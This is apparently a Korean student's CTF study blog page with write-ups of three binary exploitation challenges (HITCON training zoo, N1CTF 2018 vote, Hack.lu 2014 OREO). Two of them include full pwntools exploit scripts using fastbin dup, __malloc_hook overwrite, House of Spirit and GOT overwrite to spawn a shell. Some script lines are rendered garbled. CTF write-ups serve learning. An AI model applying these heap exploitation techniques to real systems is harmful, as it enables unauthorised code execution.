HanJeouk의 개인공부 블로그

2017 hitcon training zoo

CTF2018. 3. 14. 14:55

C++ 문제를 한번도 풀어본 적이 없어서 경험삼아 이 문제를 풀어보았다. training이라서 C++ 코드를 줬다.

NX가 꺼져있어서 쉘코드를 사용할 수 있었다.

취약점은 받은 값을 strcpy를 이용해서 복사하기 때문에 overflow가 발생한다. 그래서 다른 청크의 가상함수 포인터를 가리키는 주소를 쉘코드가 있는 주소로 바꿔서 쉘을 딸 수 있었다. 쉘코드는 전역변수에다가 넣어서 따로 주소를 구할 필요도 없었다.

가상함수 포인터가 이중이라서 두번 가리켜줘야 한다.


'CTF' 카테고리의 다른 글

2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2016 Hitcon secret holder [Again]  (0) 2018.03.21
2018 N1CTF vote  (0) 2018.03.12
2014 Hack.lu CTF OREO  (0) 2018.03.06
TRUSTEALTH CTF sohard  (0) 2018.03.02

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2018 N1CTF vote

CTF2018. 3. 12. 16:10

이런 문제는 정말 처음봤다. 

밑에 왼쪽 사진은 fastbin_dup을 하려고 사이즈가 50인 청크 2개를 할당하고 그 두개를 free했을 때의 힙 상황이다.

이제 다시 0을 free하면 원래는 정상적으로 free가 되어야 하는데 오른쪽 사진을 보면 병합이 된 걸 확인할 수 있다.

그래서 내가 직접 large 사이즈의 청크를 만들어서 다른 free된 청크들을 조작하여 문제를 풀어야겠다고 생각했다.

이 문제에서는 전역변수에 있는 청크포인터를 초기화하지 않기 때문에 가능했다.

4개를 할당하고 free를 하면서 heap과 함수 주소들을 전부 구한 다음에 전부 free시키면 large 사이즈의 청크를 만든다.

이 사진과 같이 나는 0x500을 할당하고 bbbbbbbb이라는 값을 넣어줬다. 보기용으로 bbbbbbbb를 넣었지만 이걸로 이제 다른 청크를 덮을 수 있게된다. 

그렇게 0xbd7080 주소에 있었던 fastbin 청크를 값을 조작하여 일반 fastbin 청크처럼 만들었다.

그리고 free를 시키면 이 청크는 fastbin에 등록이 될 것이다.

이제 내가 원하는 함수의 주소 사이즈에 맞춰 구한다음에 0xbd7080 청크의 fd에 넣으면 된다.

원하는 함수 주소 사이즈는 맞췄다고 가정하고 이제 free된 청크의 fd에 값을 넣어야 되는데 이 문제에는 edit같은 기능이 없다.

그래서 아까 할당했던 0x500 사이즈인 청크를 free시켜서 small bin으로 다시 할당해서 값을 조작하기로 했다.

small bin의 사이즈는 대충 0xbd7080의 청크를 덮을 수 있을 만큼이면 된다.

그렇게 fd의 값을 조작한 후에 2번 할당하면 쉘이 따진다. ㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
= remote('47.97.190.1',6000)
def create(size,name):
        p.sendlineafter("Action: ","0")
        p.sendlineafter("size: ",str(size))
        p.sendlineafter("name: ",name)
 
def show(idx):
        p.sendlineafter("Action: ","1")
        p.sendlineafter(": ",str(idx))
 
def vote(idx):
        p.sendlineafter("Action: ","2")
        p.sendlineafter(": ",str(idx))
 
def result():
        p.sendlineafter("Action: ","3")
 
def cancel(idx):
        p.sendlineafter("Action: ","4")
        p.sendlineafter(": ",str(idx))
 
 
create(80,"A"*4)
create(80,"B"*4)
create(256,"D"*4)
create(256,"E"*4)
cancel(0)
cancel(1)
show(1)
p.recvuntil("count: ")
heap = int(p.recv(8),10)
print hex(heap)
cancel(2)
show(2)
p.recvuntil("count: ")
leak = int(p.recv(15),10)
base = leak-0x3c4b78
one = base + 0xf1117 #0xf0274 0x4526a 0x45216
size = base+0x3c4af5-0x8
malloc_hook = base+0x3c4b10
print "Heap: " +hex(heap)
print "Leak: " + hex(leak)
print "Base: " + hex(base)
print "one_shot: " + hex(one)
print "Size: " + hex(size)
print "malloc_hook: " + hex(malloc_hook)
cancel(3)
create(0x500,"E"*80+p64(0)+p64(0x71)+p64(0))
 
cancel(1#fake_chunk free
cancel(0)
create(256,"E"*80+p64(0)+p64(0x71)+p64(size))
create(78,"A"#size+16(create)+16(header)
create(78,"B"*3+p64(one))
p.sendlineafter("Action: ","0")
p.sendlineafter("size: ","50")
p.sendline("cat flag")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2016 Hitcon secret holder [Again]  (0) 2018.03.21
2017 hitcon training zoo  (0) 2018.03.14
2014 Hack.lu CTF OREO  (0) 2018.03.06
TRUSTEALTH CTF sohard  (0) 2018.03.02
TRUSTEALTH CTF sysrop  (0) 2018.03.02

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2014 Hack.lu CTF OREO

CTF2018. 3. 6. 20:05

House of spirit을 공부하고 푸는 두 번째 문제다.

전역변수들을 보면 이런 구조로 되어있다. 

취약점은 가까운 곳에서 발생하는데 바로 Add new rifle 함수에서 발생한다.

보면 56만큼 할당하는데 rifle_name에 값을 받을 때 rifle_ptr+25부터 받아서 오버플로우가 발생한다.. 그리고 52번째부터 4바이트를 이전 청크의 데이터 영역의 주소를 넣어준다. 넣어준 주소는 나중에 free할 때 반복문을 돌려서 한 번에 free시키기 위함이다.

이렇게!

그래서 이 주소를 조작하면 다른 곳을 free 시킬 수 있을 것이다.

그리고 leave message 함수를 보자.

일단 order_content_ptr안에는 content의 주소가 있어서 값을 입력받으면 content의 주소로 값이 들어가고 그걸 order_count_ptr로 가리키는 식으로 되어있다.

나머지는 출력함수다 여기서 order message를 출력할 때 포인터로 printf한다는 것을 주의깊게 봐야한다.

1. bss

2. heap

위에 두 사진은 add("AAAA","BBBB"),add("CCCC","DDDD"),leave_message("EEEEEEEEEEEEE")를 해줬을 때의 전역변수와 힙의 상황이다.

릭을 어디서 할 수 있을까? 고민하다가 order_content_ptr 주소를 함수의 got로 바꾸면 나중에 order message를 했을 때 함수의 주소를 릭할 수 있을 거라고 생각을 했다. 그럴려면 bss영역에 값을 입력할 수 있어야 한다. 그래서 house of sprit을 하기위해 전역변수중에서 사이즈로 쓸만한 것을 찾다가 마음대로 설정할 수 있는 rifle_count를 조작하기로 했다.(00000002로 나와있는 부분) 그래서 청크의 개수를 0x41로 설정했다. 그러면 이제 0x41-0x8(chunk_header)-0x1(prev_inuse) = 0x38(56)만큼 값을 넣은 다음에 next_chunk의 사이즈를 설정해줘야하는데 그 부분은 leave_message의 content영역이기 때문에 leave_message함수에서 설정할 수 있다. 이제 힙을 조작해야 한다. 왜냐하면 우리가 원하는 곳에 free를 시켜야 하기 때문이다. 그래서 0x40개를 할당하고 0x41번째를 할당할 때 name에서 값을 넣어서 원래 있던 이전 청크의 주소를 전역변수 주소로 바꾼다. #사진으로 보면 0x9dd348c에 있는 주소를 0x804a2a8로 바꾼다는 말이다.  

이제 order 함수로 free 시키고 다시 할당을 하면 bss에 할당이 될 것이다.

order을 하고 add("E",puts_got)를 덮었을 때의 전역변수 상황이다.

order_content_ptr이 가리키고 있는 포인터가 puts_got로 덮어진 걸 확인할 수 있다.

아까 그래서 show stat을 하면 order_content_ptr이 puts_got로 덮여졌기 때문에 puts의 주소가 나올 것이다.

이제 base를 구하고 내가 원하는 함수의 주소를 구할 수 있을 것이다.

나는 one_shot으로 문제를 풀려고 one_shot 주소를 구했다.

이제 공격만 하면 되는데 공격은 정말 쉽다. leave_message를 할 때 order_content_ptr로 하기 때문에 그냥 leave_message 함수에 들어가서 내용에 one_shot을 넣어주면 된다. 그러면 puts_got에 one_shot이 덮힌 꼴로 되어서 쉘이 따진다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*
= process("./oreo")
elf = ELF("./oreo")
rifle_ptr = 0x804a288
fake_chunk_data = rifle_ptr+0x20
def add(name,des):
        p.sendline("1")
        p.sendline(name)
        p.sendline(des)
 
def show_rifle():
        p.sendline("2")
 
def order():
        p.sendline("3")
 
def leave(content):
        p.sendline("4")
        p.sendline(content)
def show_stat():
        p.sendline("5")
 
print p.recv(1024)
for i in range(0x40):
        add("A"*4,"B"*4)
add("a"*27+p32(fake_chunk_data),"c"*4)
leave(p32(0)*9+p32(0x1000))
order()
add("E",p32(elf.got["puts"]))
p.sendline("5")
p.recvuntil("Message: ")
 
puts= u32(p.recv(4))
base = puts - 0x5fca0
one = base + 0x5fbc5 #0x5fbc5 #0x3ac69 #0x3ac62 #0x3ac52 #0x3ac5c
print "Puts: " + hex(puts)
print "Base: " + hex(base)
p.sendline("4")
p.sendline(p32(one))
p.sendline("5")
p.interactive()
cs

'CTF' 카테고리의 다른 글

2017 hitcon training zoo  (0) 2018.03.14
2018 N1CTF vote  (0) 2018.03.12
TRUSTEALTH CTF sohard  (0) 2018.03.02
TRUSTEALTH CTF sysrop  (0) 2018.03.02
2016 Boston Key Party CTF Cookbook  (0) 2018.02.27